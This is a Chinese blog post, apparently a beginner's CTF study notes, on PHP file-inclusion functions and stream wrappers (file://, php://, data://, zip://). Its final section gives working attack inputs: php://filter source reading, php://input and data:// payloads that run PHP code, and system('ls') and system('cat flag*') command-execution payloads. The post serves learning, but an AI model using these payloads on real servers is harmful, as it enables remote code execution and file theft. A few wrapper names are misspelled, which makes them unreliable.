文件包含漏洞

前言:今天做题遇到了php伪协议,不会,所以来学习一下(有些内容是问new bing 的,不是我写的)

1.0 什么是php伪协议

什么是php伪协议,就是php支持的协议和封装协议

1.1 什么时候使用php伪协议?

在文件包含时使用php伪协议,常见的文件包含函数如下

1 include **2 require ** 3 include_once 4 require_once 5 highlight_file 6 show_source

**7 file ** **8 readfile ** 9 file_get_contents 10 file_put_contents 11 fopen

以下介绍以下文件包含操作

1.2 include 和 require

在其他的博客里介绍过这两个函数,主要的内容是将执行另外一个php 文件的内容

二者的主要区别是 require 出现错误时会停止脚本

include 出现错误时会报错,但脚本继续执行。

这两个函数衍生出了 include_once 和 require_once 和名字表达的意思相同,当已经包含过对应的文件时就不会

再次包含

1.3 highlight_file() 和 show_source()

具体的用法为

函数(filename ,return);

return为可选项,filename为需要高亮处理的php文件路径

return 可选,如果设置为true,那么函数将返回高亮处理的代码,而不是输出

具体使用如下

<?php
echo 111;
highlight_file("text.php");

输出结果如下

111
<?php
echo "helloworld";
?>

1.4 readfile 和file_get-contents和file

file : 把一整个文件读入一个数组中

readfile :读入一个文件并写入到输出缓冲

file_get_contents:将一整个文件读入一个字符串

对于file_get_contents() ,该函数是用于把文件的内容读入到一个字符串的首选方法

具体的使用为:file_get_contents(path,include_path,context,start,max_length)

path 为读取文件的路径

include_path 可选,如果想要在include_path中搜索文件的话,将此参数选择为1

context 可选,规定文件文件句柄的环境

start 可选,规定在文件中开始读取的位置

max _length 可选,规定读取的字节数

具体的使用如下

<?php
echo file_get_contents("a.txt");

对于readfile()

该函数读取一个文件,并吸入到输出缓冲,如果成功,该函数返回从文件中读取的字符数,如果失败,该函数将返

回false 并附带错误信息,可以通过在函数名前加@来隐藏错误输出。

输出缓冲区的内容最终会被输出,当缓冲区满时,或者当脚本执行结束时,缓冲区的内容会被发送到客户端

flush()会提前将缓冲区的内容发送给客户端。

对于file

file(oath,include_path,context)

与file_get_contents()类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中对应的一行,

包括换行符在内

1.5 file_put_contents()

file_put_contents( )操作把一个字符串写入文件中

该函数访问文件时遵顼

如果设置了 FILE_USE_INCLUDE_PATH,那么将检查filename副本的内置路径

如果文件不存在,将创建一个文件

打开文件

如果设置了LOCK_EX,那么将锁定文件

如果设置了FILE_APPEND那么将移至文件末尾

关闭文件并对所有文件解锁

如果成功,将返回写入文件的字符数,如果失败,则返回false

具体使用如下

<?php
echo file_put_contents("sites.txt","Runoob");
?>

1.4到1.5的函数似乎只能用于txt文件,无法用于php文件,不清楚是怎么回事,待查清

1.6 fopen()

该函数用于打开一个文件或者url,如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前

面添加一个 '@' 来隐藏错误输出。

定于输入流后,可以用fread读取对应流内的内容,使用fwrite写入文件内容

具体语法:fopen(filename,mode,include_path,context)

参数 描述
filename 必需。规定要打开的文件或 URL。
mode 必需。规定您请求到该文件/流的访问类型。可能的值:"r" (只读方式打开,将文件指针指向文件头)"r+" (读写方式打开,将文件指针指向文件头)"w" (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)"w+" (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)"a" (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)"a+" (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)"x" (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)"x+" (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

与c++类似,mode也需要以字符串形式给与

1.7 file://

用于访问本地文件系统,不受allow_url_fopen和allow_url_include的影响

allow_url_fopen是php的一个配置选项,用于控制php是否允许通过url访问文件,当allow_url_fopen选项被启动

时,就可以使用file_get_contents() 和fopen()来访问远程文件

allow_url_include 与其类似,只不过换成了 include罢了,这两个选项的设置都要在php.ini文件中设置

file:// 是一种 URL 方案,用于访问本地文件系统上的文件。它通常用于在 Web 浏览器中打开本地文件,或者在支持 URL 访问的应用程序中访问本地文件。

例如,在 Web 浏览器中,您可以在地址栏中输入 file:///C:/path/to/your/file.txt 来打开本地磁盘上的 file.txt 文件。请注意,file:// 后面有三个斜杠,第三个斜杠表示根目录。

在 PHP 中,如果您的服务器启用了 allow_url_fopen 选项,您也可以使用 file:// 方案来访问本地文件。例如,您可以使用 file_get_contents() 函数来读取本地文件的内容:

<?php
    $content = file_get_contents('file:///C:/path/to/your/file.txt');
    echo $content;
?>

在上面的示例中,file_get_contents() 函数会使用 file:// 方案来访问本地磁盘上的 file.txt 文件,并将其内容读取到 $content 变量中。

1.8 php://

php:// 是一种特殊的流封装协议,它用于访问 PHP 的各种输入/输出流。它可以与像 fopen()file_get_contents() 这样的文件函数一起使用,以访问特殊的输入/输出流。

例如,您可以使用 php://input 来访问 HTTP 请求的原始数据。下面是一个简单的示例,演示如何使用 file_get_contents() 函数来读取 HTTP 请求的原始数据:

<?php
    $data = file_get_contents('php://input');
    // 处理 $data
?>

在上面的示例中,file_get_contents() 函数会使用 php://input 来访问 HTTP 请求的原始数据,并将其读取到 $data 变量中。

除了 php://input 之外,还有其他一些常用的 php:// 流封装协议,例如:

  • php://output:用于直接写入输出缓冲区。
  • php://memory:用于在内存中创建临时文件。
  • php://temp:用于在内存或磁盘上创建临时文件。

php://input 是一种特殊的流封装协议,它允许您访问 HTTP 请求的原始数据。当您使用 php://input 时,您可以获取到客户端发送给服务器的原始请求数据,包括 POST、PUT 和其他请求方法的数据。

需要注意的是,php://input 只能读取请求体中的数据,它不能读取 multipart/form-data 类型的表单数据。此外,由于 php://input 是只读的,因此您无法修改请求体中的数据。

php://output 是一种特殊的流封装协议,它允许您直接写入 PHP 的输出缓冲区。当您使用 php://output 时,您可以将数据直接写入输出缓冲区,而不需要使用像 echoprint 这样的语句。

例如,您可以使用 file_put_contents() 函数将数据写入 php://output 流,以直接输出数据:

<?php
    $data = "Hello, World!";
    file_put_contents('php://output', $data);
?>

在上面的示例中,file_put_contents() 函数会将 $data 变量中的数据写入 php://output 流,从而直接输出到客户端。

除了 file_put_contents() 函数之外,您还可以使用其他支持流操作的函数来访问 php://output 流。例如,您可以使用 fopen()fwrite() 函数来打开 php://output 流并写入数据:

<?php
    $data = "Hello, World!";
    $fp = fopen('php://output', 'w');
    fwrite($fp, $data);
    fclose($fp);
?>

在上面的示例中,我们首先使用 fopen() 函数打开 php://output 流,并将其句柄存储在 $fp 变量中。然后,我们使用 fwrite() 函数将 $data 变量中的数据写入 php://output 流。最后,我们使用 fclose() 函数关闭流。

1.9 date://

data:// 是一种特殊的流封装协议,它允许您在 PHP 脚本中直接嵌入数据。您可以使用 data:// 协议来创建一个数据流,其中包含您想要嵌入的数据。这样,您就可以像访问文件一样访问这些数据。

例如,您可以使用 file_get_contents() 函数来读取 data:// 流中的数据:

<?php
    $data = file_get_contents('data://text/plain;base64,' . base64_encode('Hello, World!'));
    echo $data; // 输出 "Hello, World!"
?>

在上面的示例中,我们首先使用 base64_encode() 函数将字符串 “Hello, World!” 编码为 Base64 格式。然后,我们使用 file_get_contents() 函数来读取 data:// 流中的数据。由于我们在 data:// 协议中指定了数据的 MIME 类型(text/plain)和编码方式(base64),因此 file_get_contents() 函数能够正确地解析数据并将其读取到 $data 变量中。

除了 file_get_contents() 函数之外,您还可以使用其他支持流操作的函数来访问 data:// 流。例如,您可以使用 fopen()fread() 函数来打开 data:// 流并读取数据:

<?php
    $fp = fopen('data://text/plain;base64,' . base64_encode('Hello, World!'), 'r');
    $data = fread($fp, 1024);
    fclose($fp);
    echo $data; // 输出 "Hello, World!"
?>

在上面的示例中,我们首先使用 fopen() 函数打开 data:// 流,并将其句柄存储在 $fp 变量中。然后,我们使用 fread() 函数从流中读取最多 1024 个字节的数据,并将其存储在 $data 变量中。最后,我们使用 fclose() 函数关闭流。

2.0 具体使用

2.1 file协议

?file=file://绝对路径 注意,只能使用绝对路径

allow_url_fopen on/off

allow_url_include on/off

2.2 php://filter

?file=php://filter:/read=convert.base64-encode/resource=相对路径

allow_url_fopen on/off

allow_url_include on/off

获取base64形式的文件

这个最常见

2.3 php://input

?file=php://input+post参数

该方法可以让对方服务器执行执行你post参数的内容

post参数是你post的内容,比如post一段php代码

<?php phpinfo();?>

可以读取post里面的参数,将参数当作php代码来执行

2.4 zip://

?file=zip://绝对路径/xxx.zip%23a.txt

该协议可以访问压缩包内的文件,比如上面这个url访问的是xxx.zip中的a.txt文件

压缩包和对应的文件间要加#,由于url中#被保留,故只能使用%23进行转义,如果不在url中则不需要转义

2.5 compress.bzip2:// 和 compress.zlib://

这两种协议是用来访问.bz2.gz形式的压缩包

2.6 date://

?file=data://text/plain,<?php phpinfo();?>

?file=date://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

后面的是base64编码的phpinfo程序

?file=data://text/plain,<?php phpinfo();?>

或者

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

我们实际操作中post参数可以为

<?=system('ls');?>

<?=system('cat flag*');?>

system( ) 是php的一个内置函数,它可以执行外部程序并显示输出

posted @ 2023-08-06 19:01  折翼的小鸟先生  阅读(18)  评论(0编辑  收藏  举报